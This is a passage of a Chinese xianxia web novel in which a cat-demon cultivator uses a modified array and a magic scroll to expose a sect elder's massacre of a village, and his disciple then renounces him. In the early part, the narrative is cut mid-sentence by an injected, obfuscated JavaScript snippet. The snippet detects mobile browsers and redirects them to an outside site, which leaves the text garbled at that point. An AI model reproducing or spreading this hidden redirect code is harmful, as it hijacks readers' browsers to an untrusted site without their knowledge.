谢无柩不由问身旁的金不禁:“我观萧道友于修行上着实有慧根,既能创下飞讯密域,又能改动阵法,若她能勤于修炼,其修为绝不止于筑基,可为何世人趋之若鹜的修行,萧道友却不甚看重呢?是怕吃苦?” 金不禁叹道:“这事你算是问对人了,她啊,有个心结,连小师妹都不知道呢。当年我与她前后脚被师父收徒,又前后脚突破筑基,刚突破筑基那会,她还是踌躇满志的,一天到晚四处游历,于修炼一途不说勤勉也很是兴致勃勃,不过后来发生了一件事……” 萧衔蝉并未察觉到二师兄与谢无柩的对话,她还在修改十轮阵,确保其可反向操作,还能省着点用灵石。 金不禁看明白她在做什么后,不由啧啧出声,看着唰唰消失的灵石心疼道:“这可是咱们的灵石,你省着点用,那厉鬼既然要你帮她讨公道,也该她出钱才是。” 萧衔蝉头都没回:“她给钱了,几乎给了我她大半的财产,对了,还有半棵生死藤!谢道友,等此间事了,就可以为你重塑经脉了。” 花沸雪惊道:“这可是件大喜事!” 谢无柩却没有什么喜色,他心知即便经脉重塑,他也不想再修炼,他的心里只有自千百年前就生出的怒火与狠戾,催促着他去毁了这天下。 萧衔蝉感到身边温度似乎降低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15053452|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些,扭头一看,便看到谢无柩一脸阴寒,她以为方才几句话勾起了谢无柩再不能修炼的伤心事,连忙想岔开话题,正绞尽脑汁思考新话题时,突然听到后山树林沙沙作响。 风起,烟云出岫,岚润翠浓。 萧衔蝉眨眨眼,一对毛茸茸的圆耳朵不由自主地弹出来,警惕地竖着,只听得见树梢摩擦,瀑布湍急,偶有一两声啾啾鸟鸣。 秦含玉慢悠悠的在一处布下阵眼,她是极不赞同用十轮阵超度梁砚之的,盖因大师兄和师姐同意了,且迦象子说的确实有理,她才行动起来,现在看见师姐突然现出部分妖型,便立即没了布阵的心思,连忙向师姐走去:“怎么了?听到什么了?” 萧衔蝉迟疑地摇摇头:“应该是我听错了吧?”好像有群小鹿在山林云雾中跳跃着离开了。 山石之后,宋词乎挥笔一蹴而就——欲求人迹不到处,忘形麋鹿与俱逝。杳杳白云青嶂间,千岁巢居常避世。 墨字化作水与雾,将她与身后的师弟妹们的身形掩藏起来,就在最后一个字写毕之时,宋词乎看到萧衔蝉的眼睛向她所在的方向看去,她不由暗赞一声:好灵敏的五感! 她才领着同门踏入此方地界,这妖修竟能立即觉察到,要不是她时刻警惕着,又有法宝在身,说不得甫一落地,就叫她发觉了,常听说妖修比之人修,五感更敏锐,今日算是见识到了。 只没想到,这个看起来无害的修士竟是妖修,也不知她是正是邪,常听人说妖修随心所欲,邪性的很,待会禀明师父,降伏那厉鬼后,再做定夺,若她手上有无辜人命,便也顾不得这几日相处之谊,需得杀了她。 宋词乎将所有事宜于心中过一遍,又用传讯玉印与师父传了消息,这才安定下来。 “呦呵。”一个轻佻的声音传来,梁砚之自月上飞来,她已隐去鬼相,看起来与常人无异,“你们这就明目张胆地要布阵捉拿我了?” 见梁砚之现身,众人都怔忡一瞬,一时间继续布阵也不是,停下也不是。 萧衔蝉努力强硬起来:“既知道我们势必要超度了你,你还不速速离去?”想了想,她又说,“你托付我的事情,我已有了眉目,我既答应了你,必不会言而无信。” 梁砚之微微一笑:“萧衔蝉,你未免太瞧不起我了,我才不会离开,且不说我爹娘俱在此处,就说我,我的的确确强夺生人阳气,致使数百凡人死去,这是我的孽债,我自担着,只看是你们的阵法拿下我,还是我破了你们的阵法,各凭本事。” 说罢,她张扬飞去鹊桥殿打坐了。 宋词乎躲藏一边,看到她们对话,不由冷笑,心道果然是妖修,与鬼怪一丘之貉,如此也好,她倒不必手下留情了。 秦含玉看着梁砚之离去的背影,问萧衔蝉:“她这是什么意思?莫非她不打算阻拦咱们布阵?” 萧衔蝉点头:“看样子是了。” 她也看不太明白梁砚之为人,却明白一点,梁砚之此人,骄傲得很。 秦含玉耸耸肩,正要继续去布阵,就被萧衔蝉拦住:“等等,我改了阵法,你按照这个阵法图去布阵。” 花沸雪与金不禁也被萧衔蝉交待下去,众人金色的法力凝聚成河,在半空画出复杂的符号。 迦象子看着逐渐成型的阵法绝望呐喊:“这不是十轮阵啊!” 41. 汨罗坞(十三) 不知何时,一抹薄云盖住弯月,牛毛细雨渐次飘下,一片蒙蒙雨雾中,金色的大阵愈发光华璀璨。 萧衔蝉立于阵中,双手掐诀,片片纸张飞入阵眼,似万千雪花乘风而起,她正待试一试此阵的效果,便忽听一声撼天动地的巨响。 “轰隆——” 天际突然裂开一条缝,缝隙如同天眼缓缓张开,苍穹如布,被刀劈开,向两边卷去,露出外界的凛风冰雨。 梁砚之立即自鹊桥殿飞身而出,长袍猎猎,不知她使了什么术法,天上的明月化作一颗珠子投入她怀中。 天空上的缝隙越裂越大,火焰舔舐画卷般露出底色,只见裂开的缝隙那处有仙人白衣翩翩,长身玉立,正是祝墨之等人。 梁砚之不屑地哼笑一声:“姓祝的,我不去找你,你倒是自己送上门来了,今日正是你的死期,还我爹娘命来!” 说罢,不等祝墨之说话,便一手托着法宝砚台,一手掐诀向他打去,砚台中霎时盘旋出一股水龙卷,祝墨之泼墨挥毫,挡住这一击。 仿佛一个开战的信号,众鬼仆跟随梁砚之身后齐齐攻去,祝墨之身后的唐诗乎率汨罗坞诸弟子立即襄助。 梁砚之与多人同战,竟也未落下风,诸多繁杂的灵力对撞在一起,发出巨响的同时,天际亮起烟花般的灵气波。 祝墨之一个回身,躲避来自梁砚之的攻击,他提笔书写了一句法诀打过去,却是落空了,长眉紧蹙,晃眼间却突然看到底下阵法中雪片似的纸张,白纸黑字,如呈堂证供,那些轻飘飘的纸在萧衔蝉的操纵下,即将掀起一场滔天骇浪。 祝墨之压下一闪而过的慌乱神色,忙吩咐唐诗乎:“你速去除了阵中那个姓萧的!” 话音一落,攻击唐诗乎的鬼仆更多了,他实在分身无术,祝墨之见心腹大弟子不中用,自己亦被梁砚之缠住脱不开身,一边挥笔,一边怒喝一声:“宋词乎,还不来助阵?” 一道白色身影如离弦之箭划破雨幕,宋词乎以绿松白玉笔为武器,就要向梁砚之打去,却突然听到师父的传音入密:阵中萧道友似被厉鬼蛊惑,你速去除了她。 宋词乎颇以为然,果然是师父,一眼就能看出那人是妖修,不安好意,她迅速转身,向下飞去。 萧衔蝉正在布阵的最后关头,额头渗出滴滴冷汗,与试验用的小阵不同,要操纵一个非常精密的大阵法并非易事,她将自己的全部神识都投入阵法,让构造成阵法的每一条符纹都变成自己身体的一部分。 耳边纸张的沙沙声响突然被突兀的刀枪相对的铿锵声打破,金色大阵几乎被一杆长枪戳破,萧衔蝉的神识一动,胸口闷痛,她睁开眼睛,只见宋词乎的长枪被小师妹一刀挡住,大师兄二师兄都挡在她身前。 宋词乎怒道:“好啊,你们与妖修厮混一起,果然也不是什么好东西,接招!” 她带着一众汨罗坞弟子攻向大阵,墨字墨画皆化作水火兵器,招式凌厉,秦含玉双手握紧且停侯迎上,花沸雪与金不禁护住阵法两侧,双方顿时打得天昏地暗。 萧衔蝉立刻加快了布阵的动作,万千纸张汇聚在一起,墨字亦整整齐齐,形似渐次铺陈开的卷轴,最终变成一条直上云霄的大道,梁砚之与祝墨之正立于青云上卷轴的顶端。 看到那清晰的墨字,祝墨之愈发急切,正要出手诛杀萧衔蝉,却忽闻得一声不知从何而来的鸣叫,如仙如兽,又非仙非兽。 只见金色的卍字□□在萧衔蝉背后旋转,一支长角刺破金色绸缎似的□□,从萧衔蝉背后走出,现于众人眼前,先是长角,而后是眼睛、脑袋、四爪,□□褪去,一只巨兽显现出具体的模样,独角、犬耳、龙身、虎头、狮子尾、麒麟足——正是谛听。 巨兽昂首挺立,高过吊脚楼,盘据半个院子,甫一现身就震住了所有人。 萧衔蝉念诀:“天心自然,人心如灰。谛听谛听,真假鉴心。” 谛听坐地听八百,卧地听三千,只见它俯伏在地,而后缓缓抬头,顶着众人众鬼的眼神慢开尊口,道了一字:“真。” 萧衔蝉瞳孔猛然缩了一下,种种惨剧竟真的发生过,自听了梁砚之的诉说,她的心理就很矛盾,既希望梁砚之所说为真,证明自己没有看错人,又希望她在骗自己,这样的话,起码没有无辜之人枉送性命。 宋词乎喝问:“你这妖修,骗了禅师,哄得莲送归的法阵入手,如今又装神弄鬼些甚?” 萧衔蝉深深看了她一眼,抬头看向字轴顶端的一人一鬼,一手提起她的秃毛笔,身形翩若惊鸿:“道士有神传火枣,故人无字入云蓝。” 金色的灵力从毛笔尖流出,为一个个墨字描上金边,这些字化作一幕幕动起来的画,将深埋地底的惨剧与龌龊展露于众人眼前。 云蓝书! 宋词乎瞪大眼睛,这个妖修竟偷学他们汨罗坞的法术!她正要再向萧衔蝉攻去,却在云蓝书中看到一个熟悉的身影飞身半空,面无表情地抬手,一掌便杀死了一村的无辜百姓。 此人阴狠狡诈,恃强凌弱,微微垂眸,眼中全是看蝼蚁的不屑漠然,却偏偏顶着她最敬重的师尊的脸。 宋词乎嘴唇颤抖,目眦欲裂,狠声道:“你敢污蔑我师尊,我定要你魂飞魄散!” 她提笔书写出的斧钺被秦含玉一刀挡了回去,秦含玉怒骂道:“睁开你的狗眼仔细看,我们用得着污蔑他?” 云蓝书中,四百四十一条人命魂飞魄散,霎那间,一个日出而作日落而息的平凡小村庄没了生机。 浅紫的苜蓿花上溅了一层鲜血,吱呀转动的老水车被几颗人头卡住,再也动不了,河面上铺了一层血污,变成一条血河,村子里的黄土路上盖了一层肉泥,一只风车斜插在泥土瓦砾中。 凡人的惨叫将水墨震动,宋词乎的脚扎根一样,立在这副人间惨剧前,她看着那只风车,就在之前,这只风车还在一个小姑娘的手里,小姑娘蹦蹦跳跳的跑回家,后面跟着一群羡慕她的小朋友。 而现在,喧闹的童言稚语都变成了一层肉泥。 萧衔蝉到底只看祝墨之做过一次云蓝书,加上方才召唤谛听现身耗费不少法力,灵力流淌到一半便再难以攀援而上,她待要搜刮干净经脉中最后一丝灵力,突然,阵法中进来了一个人。 是谢无柩。 他往常光风霁月面容露出讥嘲,突然刻薄起来:“人家一个活了几百年的元婴期大鬼,要你为她伸张正义?” “碰上了,难道不管么?”萧衔蝉咬牙坚持,“你赶快离开,此处混战,当心伤着你!” 谢无柩却没听她的话,而是走到另一处阵眼,萧衔蝉倒吸一口气,地藏十轮阵需要两人合力完成,那个阵眼原是留给他们之中修为最高的大师兄的。 “谢无柩你疯了?你如今一丝灵力也没有,过来难道就是为了送命?”说到这,萧衔蝉忽然想起谢无柩的确不愿活命,她一下子慌张起来,他难道要自杀? “你别死,谢无柩!” 谢无柩嘴角抽搐,没好气道:“我不死。” 想了想,软下声音道:“放心吧。” 没人比他更懂如何使用地藏十轮阵,没人比他更适合入阵。 他不理会萧衔蝉担忧的目光,取出一堆又一堆的灵石,将它们堆在身旁,摆了一个灵阵,郑重道:“谢无柩在此发宏愿,愿以己身襄助萧衔蝉,吾身吾神,予取予求,愿其心想事成。” 话音落地,宝相庄严的佛像拔地而起,佛像一手持戒一手托雨,拈花一笑,慈悲悯恤。 谢无柩身旁的灵石以肉眼可见的速度飞快消失,他面如金 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宋词乎今日被震撼了三次,第一次是看到萧衔蝉于莲送归的阵法中用汨罗坞的法术云蓝书,第二次是看到自己仰之弥高的师尊过往原来如此不堪,第三次便是现在了。 “你为什么能用生民笔?”宋词乎不可置信,摇头喃喃,忽而声音拔高,“你为什么能用生民笔?” 不仅她在震惊,祝墨之亦然。 天地纸、生民笔、往圣绝学墨、万世太平砚,此四法宝都是汨罗坞的镇派之宝,颇具灵性,除了掌门昭平儒君,旁人轻易使用不得,可如今生民笔竟乖乖为萧衔蝉所驱使。 “不可能,不可能。” 祝墨之身形晃悠,即便由师父赐下,他使用生民笔时还是常有滞涩感,若不是此法宝的确威力甚大,他绝不会用,可如今,为什么这个人可以用生民笔如臂使指? 梁砚之一看祝墨之的样子就知他在想什么:“为天地立心,为生民立命,为往圣继绝学,为万世开太平。此乃汨罗坞心法开篇第一句,祝墨之,你扪心自问,你做到了吗?你愿追逐真理、哪怕粉身碎骨也在所不惜吗?” 祝墨之握紧拳头,看向梁砚之的眼神阴冷,手下攻势愈发狠辣,招招毙命。 萧衔蝉横眉冷对众汨罗坞弟子:“提笔写尽天下事,不肯俯首见苍生。你们既不愿为苍生所言,何怪苍生为自己提笔而写。” 她不再看一副空白表情的宋词乎,转向恼羞成怒的祝墨之道:“你也不必想着杀我灭口了,我逆转了十轮阵,不仅此间众人能看到你的真面目,凡是今日在饶益者,都能看到。” 祝墨之动作一顿,转身妄图抓住纷杂的雨滴,只是雨滴随风潜入夜,无孔不入,他阻挡不及,怒喝道:“唐诗乎、宋词乎,快拦住!” 宋词乎呆愣在原地,久久不动,唐诗乎本就被众鬼仆围攻,自顾不暇,见状喊道:“宋师姐,你还不快来帮师父,师父多年教养,难不成养出个白眼狼?” 宋词乎的脸部肌肉鼓起一小块,指甲在掌心留下深深的掐痕,良久,她道:“师父教我‘正德厚生,臻于至善’,师父还教我‘骄人好好,劳人草草。苍天苍天,视彼骄人’,师父你教我不要做‘骄人’,要做为苍生言者、为劳人权者……” 她的声音低落下去,泪珠滑倒腮边,终于和着怒吼滚落下去:“可是师父,你既如此教导我,为什么自己要做这样的事?莫非你的话都是假的?莫非你一直以来都在骗我?贪功而杀村人,嫉妒而杀同门,你不配做我师父!” 眼泪落在泥地上,溅出一个小洼。 绵绵细雨不知何时停止,太阳高悬,深埋地底的过往无遮无藏,终于大白于天下。